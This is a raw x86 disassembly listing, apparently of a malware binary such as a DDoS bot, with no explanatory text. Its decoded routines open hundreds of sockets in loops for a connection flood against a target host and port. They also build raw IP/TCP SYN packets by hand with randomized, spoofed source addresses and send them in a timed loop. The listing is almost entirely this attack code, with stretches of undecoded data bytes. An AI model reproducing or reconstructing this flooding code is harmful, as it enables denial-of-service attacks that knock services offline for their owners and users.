		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B09
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8F
		push	1
		pop	eax


loc_412E8F:				; CODE XREF: ___:00412E8Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
word_412E9E	dw 8B55h		; DATA XREF: sub_401ACD+6722o
		dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFE44h, 685B016Ah, 0FFh,	0A5F3036Ah, 9889026Ah
		dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
		dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
		dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh,	8D50D875h
		dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
		dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
		dd 90575959h, 2CD0C7E8h, 0F44D8D02h, 3351046Ah,	57026AFFh
		dd 0F45D8950h, 0B63415FFh
		db 4Ch,	0
word_412F4E	dw 0F883h		; DATA XREF: ___:off_43A86Co
		dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
		dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
		dd 6CE8C875h, 59FFFF84h, 51E85759h, 90022CD0h, 0FE48858Dh
		dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
		dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh,	8D572075h
		dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
		dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h,	21A7E850h
		dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0CFEAE857h,	6A90022Ch
		dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
		dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h,	15FF50FFh
		dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
		dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
		dd 194h, 41C68h, 0C805C600h, 45004CE3h,	0B65415FFh, 7D39004Ch
		dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
		dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
		dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
		dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
		dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
		dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
		dd 0E8004CE3h, 87E2h, 100B999h,	0F9F70000h, 0E3DC1588h
		dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
		dd 87BCE800h, 0B9990000h, 0F0h,	40068h,	66F9F700h, 0E3DE3D89h
		dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
		dd 0B9990000h, 0FFh, 6852F9F7h,	4CE3E4h, 842FE8h, 0CC48300h
		dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
		dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
		dd 4CB6ECh, 0B5E815FFh,	8D50004Ch, 0FFFE4885h, 875FFFFh
		dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
		dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
		dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
		dd 59FFFF82h, 1E85759h,	90022CCEh, 0FFFC75FFh, 4CB6EC15h
		dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h,	14E9C1D0h
		dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
		dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
		dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h,	0FFFF4885h
		dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
		dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 0E8575959h
		dd 22CCD7Ch
		db 90h
byte_413285	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5510o
		dd 10320B8h, 888EE800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h,	15FF0000h
		dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
		dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
		dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
		dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
		dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
		dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h,	858D14C4h
		dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h,	5959FFFFh
		dd 0BDE89057h, 3B022CCCh, 8B0C74C3h, 8B0C40h, 4589008Bh
		dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
		dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h,	7D39C445h
		dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
		dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
		dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h,	4CB70Ch
		dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
		dd 84BAh, 390CC483h, 2075D85Dh,	0BC858D53h, 0FFFFFFFCh
		dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
		dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
		dd 0FFFF800Bh, 0E8535959h, 22CCBF0h
		db 90h
byte_413411	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+575Co
		dd 10310B8h, 8702E800h,	458B0000h, 57565308h, 0F08B496Ah
		dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h,	0E8900000h
		dd 227D51Dh, 8492E850h,	6A590000h, 6A026A11h, 0D415FF02h
		dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h,	83000081h
		dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
		dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh,	0B6D815FFh
		dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
		dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
		dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
		dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
		dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022CCBh
		dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
		dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
		dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
		dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
		dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h,	838CE81Ah
		dd 0B9990000h, 0FFh, 3B46F9F7h,	9488D475h, 0FEFCEF35h
		dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
		dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
		dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 20E890D8h
		dd 4E0225D9h, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
		dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
		dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
		dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
		dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
		dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h,	7DF5E8E0h
		dd 5959FFFFh, 0D9E89057h
		db 0C9h, 2Ch, 2
byte_413627	db 55h			; DATA XREF: sub_401ACD+4DEDo
		dd 0EC81EC8Bh, 414h, 5608458Bh,	85B957h, 0F08B0000h, 0FDECBD8Dh
		dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
		dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
		dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
		dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
		dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
		dd 59FFFF7Dh, 0E8905659h, 22CC93Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4136C6	proc near		; CODE XREF: ___:004137AFp

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB654
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_413784
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_413711:				; CODE XREF: sub_4136C6+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_413719:				; CODE XREF: sub_4136C6+7Aj
		push	0
		push	1
		push	2
		call	near ptr 71AB3C22h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_41373C
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		call	near ptr 71AB155Ah
		nop


loc_41373C:				; CODE XREF: sub_4136C6+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_413719
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41374A:				; CODE XREF: sub_4136C6+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_41374A
		push	64h
		call	near ptr 2670EC7h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_41376E:				; CODE XREF: sub_4136C6+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_41376E
		dec	[ebp+arg_4]
		jnz	short loc_413711
		pop	edi
		pop	esi
		pop	ebx


loc_413784:				; CODE XREF: sub_4136C6+3Ej
		xor	eax, eax
		leave
		retn
sub_4136C6	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_4136C6
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4137BE
		push	1
		pop	eax


loc_4137BE:				; CODE XREF: ___:004137B9j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_4137CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+644Ao
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
		dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h,	858D500Ch
		dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h,	0CC483F6h
		dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh,	0FF70858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
		dd 0C796E890h, 5E5F022Ch

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41386C	proc near		; CODE XREF: ___:00413B5Ap

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4138AC
		xor	eax, eax
		jmp	loc_413B1A
; ---------------------------------------------------------------------------


loc_4138AC:				; CODE XREF: sub_41386C+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CB6F8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_413B12
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB634
		cmp	eax, 0FFFFFFFFh
		jz	loc_413B08
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB654
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB654
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB654
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB654
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 2780B86h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780896h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_413997:				; CODE XREF: sub_41386C+25Dj
					; sub_41386C+26Bj
		mov	[ebp+var_24], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB654
		mov	[ebp+var_34], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4CB654
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB650
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB654
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC69
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_413ADC
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 2780896h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_413B05
		jl	loc_413997
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_413B05
		jmp	loc_413997
; ---------------------------------------------------------------------------


loc_413ADC:				; CODE XREF: sub_41386C+247j
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43643C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AD
		add	esp, 10h
		jmp	short loc_413B08
; ---------------------------------------------------------------------------


loc_413B05:				; CODE XREF: sub_41386C+25Bj
					; sub_41386C+269j
		mov	ebx, [ebp+arg_8]


loc_413B08:				; CODE XREF: sub_41386C+78j
					; sub_41386C+297j
		push	[ebp+var_C]
		call	dword_4CB6EC
		pop	esi


loc_413B12:				; CODE XREF: sub_41386C+5Bj
		call	dword_4CB5AC
		mov	eax, ebx


loc_413B1A:				; CODE XREF: sub_41386C+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_41386C	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAFA
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_41386C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_413B69
		push	1
		pop	eax


loc_413B69:				; CODE XREF: ___:00413B64j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_413B78	dd 81EC8B55h, 394ECh, 8458B00h,	656A5756h, 8DF08B59h, 0FFFE6CBDh
					; DATA XREF: sub_401ACD+6E45o
		dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
		dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
		dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h,	0FFFFFFFCh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
		dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
		dd 0FFFF7803h, 0E8565959h, 22CC3E8h, 555E5F90h,	0EC81EC8Bh
		dd 98h,	6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
		dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
		dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
		dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
		dd 0C7000000h, 3AA045h,	5D890000h, 0B04589A4h, 0D47D8DABh
		dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
		dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
		dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
		dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
		dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
		dd 4CB634h, 200BEh, 0D2E85600h,	8B000077h, 4270A83Dh, 45895900h
		dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
		dd 6885C766h, 2FFFFFFh,	5415FF00h, 66004CB6h, 0FF6A8589h
		dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h,	0F0C453Bh
		dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
		dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
		dd 0AC5589F9h, 7B69E8h,	0A4B99900h, 0C600001Fh,	0F745DC45h
		dd 0DD45C6F9h, 0D4558904h, 7B51E8h, 45896600h, 7B48E8E0h
		dd 0A6A0000h, 0F9F75999h, 95448B66h, 15FF50B0h,	4CB654h
		dd 45896656h, 5415FFE2h, 66004CB6h, 88DE4589h, 1FE8E45Dh
		dd 6A00007Bh, 0F759990Eh, 8A146AF9h, 0FF789584h, 4588FFFFh
		dd 0F4458BE5h, 8BE84589h, 45890845h, 0DC458DECh, 6E7FE850h
		dd 8966FFFFh, 458DE645h, 50146ADCh, 0E8F875FFh,	8514h
		dd 8D14C483h, 0FFFF6885h, 50106AFFh, 0FF56006Ah, 75FFF875h
		dd 0B815FFFCh, 0E9004CB6h, 0FFFFFF1Ah, 0E8F875FFh, 728Dh
		dd 0FC75FF59h, 0B6EC15FFh, 16A004Ch, 5B5E5F58h
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_413E36	dw 8B55h		; DATA XREF: sub_401ACD+53E9o
		dd 40EC81ECh, 8B000004h, 56530845h, 8B686A57h, 0BD8D59F0h
		dd 0FFFFFDC0h, 16AA5F3h, 8D5EDB33h, 0FFFF61BDh,	890E6AFFh
		dd 19CB0h, 0C0335900h, 0FF609D88h, 0ABF3FFFFh, 8BAAAB66h
		dd 4270A83Dh, 50D7FF00h, 7A57E8h, 0FF685900h, 6A000000h
		dd 0FF026A03h, 4CB6D415h, 0FFF88300h, 75FC4589h, 0E815FF66h
		dd 50004CB5h, 0FBC0858Dh, 7468FFFFh, 50004365h,	79D5E8h
		dd 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh
		dd 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh
		dd 0FFFF5B97h, 8D14C483h, 0FFFBC085h, 0C2E850FFh, 0FF000012h
		dd 0FFFF44B5h, 751DE8FFh, 5959FFFFh, 1E89053h, 8D022CC1h
		dd 46ACC4Dh, 53026A51h,	0CC758950h, 0B63415FFh,	0F883004Ch
		dd 0FF6675FFh, 4CB5E815h, 858D5000h, 0FFFFFBC0h, 43653C68h
		dd 57E85000h, 83000079h, 9D390CC4h, 0FFFFFF58h,	8D532375h
		dd 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh
		dd 0FFFDC0B5h, 5B19E8FFh, 0C483FFFFh, 0C0858D14h, 50FFFFFBh
		dd 1244E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF749Fh, 90535959h
		dd 2CC083E8h, 0C4858D02h, 50FFFFFDh, 0B69415FFh, 0F883004Ch
		dd 8D5E75FFh, 0FFFBC085h, 651C68FFh, 0E8500043h, 78E6h
		dd 0FF589D39h, 5959FFFFh, 8D532375h, 0FFFBC085h, 54B5FFFFh
		dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 5AA9E8FFh
		dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 11D4E8h, 44B5FF00h
		dd 0E8FFFFFFh, 0FFFF742Fh, 0E8535959h, 22CC014h, 8D106A90h
		dd 5053BC45h, 7597E8h, 0CC48300h, 0BC45C766h, 0FF530002h
		dd 4CB65415h, 45896600h, 0C4858DBEh, 50FFFFFDh,	0B69415FFh
		dd 4589004Ch, 85D89C0h,	4589D7FFh, 2BD7FFD0h, 0D233D045h
		dd 3E8B9h, 3BF1F700h, 0FFFF4C85h, 0AA870FFFh, 6A000002h
		dd 0D445C628h, 5415FF45h, 39004CB6h, 0FFFF509Dh, 458966FFh
		dd 758966D6h, 5D8966D8h, 0DC45C6DAh, 0DD45C680h, 5D896606h
		dd 0E82D74DEh, 7872h, 0E6C1F08Bh, 7868E808h, 0F0030000h
		dd 0E808E6C1h, 785Eh, 0E6C1F003h, 7854E808h, 0F0030000h
		dd 7589016Ah, 16EB5EE0h, 0FDC0B5FFh, 6DE8FFFFh,	59FFFF6Bh
		dd 9415FF50h, 89004CB6h, 458BE045h, 489D39C0h, 89FFFFFFh
		dd 1075E445h, 7821E8h, 1B99900h, 0F7000004h, 6EB52F9h
		dd 0FF48B5FFh, 15FFFFFFh, 4CB654h, 0EA458966h, 7801E8h
		dd 1B99900h, 0F7000004h, 15FF52F9h, 4CB654h, 34567868h
		dd 45896612h, 5015FFE8h, 89004CB6h, 858DEC45h, 0FFFFFE44h
		dd 42B28868h, 0EDE85000h, 59000077h, 7459C085h,	0F05D8909h
		dd 2F545C6h, 858D5CEBh,	0FFFFFE44h, 42B0C068h, 0CDE85000h
		dd 59000077h, 7459C085h, 0F05D8909h, 10F545C6h,	858D3CEBh
		dd 0FFFFFE44h, 42B0B868h, 0ADE85000h, 59000077h, 7459C085h
		dd 7784E825h, 36A0000h,	0F9F75999h, 0E8F05589h,	7776h
		dd 5999026Ah, 0DAF7F9F7h, 0E280D21Ah, 88D1020Eh, 68F555h
